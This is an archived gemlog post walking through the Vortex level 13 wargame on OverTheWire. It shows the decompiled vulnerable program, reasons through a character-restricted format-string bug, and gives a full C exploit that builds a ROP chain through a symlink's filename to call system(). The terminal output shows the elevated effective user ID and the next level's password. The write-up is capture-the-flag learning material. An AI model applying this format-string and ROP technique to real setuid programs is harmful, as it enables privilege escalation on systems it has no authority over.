💾 Archived View for 0x80.org › gemlog › 2014-09-25-vortex-13.gmi captured on 2022-04-28 at 17:41:02. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

Vortex 13

Continuing the series of vortex here[1]. This is Vortex #13.

1: vortex 12

(Inconveniences)
How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.

okay so we grab the binary and take a look we see two functions.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [sp+18h] [bp-8h]@3
  int k; // [sp+18h] [bp-8h]@9
  int j; // [sp+1Ch] [bp-4h]@4
  int l; // [sp+1Ch] [bp-4h]@10

  if ( argc )
    exit(1);
  for ( i = 0; environ[i]; ++i )
  {
    for ( j = 0; environ[i][j]; ++j )
      environ[i][j] = 0;
  }
  for ( k = 0; argv[k]; ++k )
  {
    for ( l = 0; argv[k][l]; ++l )
      argv[k][l] = 0;
  }
  vuln();
  return 0;
}
void vuln()
{
  signed int i; // [sp+14h] [bp-14h]@3
  char *s; // [sp+1Ch] [bp-Ch]@1

  s = (char *)malloc(0x14u);
  if ( !fgets(s, 0x14, stdin) )
    exit(1);
  for ( i = 0; i <= 19; ++i )
  {
    if ( !strchr(allowed, s[i]) )
      exit(1);
  }
  printf(s);
  free(s);
}

so this is a format string and the string allowed is 0x14 bytes long. Also we are only allowed to use specific characters. The allowed characters are

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%.

We need to control the execution. So after the loop we have free we can overwrite it's got and control the execution but as you know we're only allowed to use 0x14 and that's not enought for a nice two-write, writing the first two bytes of free then second two bytes something like %Xx%114$hn%Yx%115$hn but that's not enought. Also all environments, and arguments are zeroed. We still can use AUXV to put our shellcode/data there, but we need to control the execution now. Another way to do it is with a one write by writing some saved frame pointer to do a ROP, so from vuln() we overwrite the saved ebp so when it leaves and returns to main we make it point to AUXV controlled data and we can do rop from there.

exploit

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>

int
main (int argc, char **argv)
{
  pid_t pid;
  int status;
  char rop[256] = { 0 };
  memset (rop, 0xcc, 255);
  memcpy (rop, "\x58\xdd\xff\xff", 4);	// saved ebp in vuln
  // when it goes back to main
  // we rop there!
  memcpy (rop + (4 * 1), "\x11\x11\x11\x11", 4);	// new ebp
  memcpy (rop + (4 * 2), "\x80\x5e\xe6\xf7", 4);	// rop start here, system()
  memcpy (rop + (4 * 4), "\xe0\x04\xf8\xf7", 4);	// points to ./01234..... in libc
  pid = fork ();
  if (pid == -1)
    {
      perror ("fork");
      return -1;
    }
#define SYM "/games/vortex/vortex13"
  if (pid == 0)
    {
      if (symlink (SYM, rop))
	{
	  printf ("Unable to make symlink\n");
	  return -1;
	}
      printf ("symlinked rop\n");
      return execve (rop, NULL, NULL);
    }
  else
    {
      waitpid (pid, &status, 0);
      if (unlink (rop))
	{
	  printf ("Unable to remove symlink\n");
	  return -1;
	}
      printf ("unlinked rop\n");
    }
}

and...

vortex13@melinda:XXX$ cat ./012345...........yz^E
id;cat /etc/vortex_pass/vortex14
vortex13@melinda:XXX$ gcc e.c -o e -m32
vortex13@melinda:XXX$ ./e <<< "%57084x%114\$hn"
.......
uid=5013(vortex13) gid=5013(vortex13) euid=5014(vortex14) groups=5014(vortex14),5013(vortex13)
DL73}uzdh
unlinked rop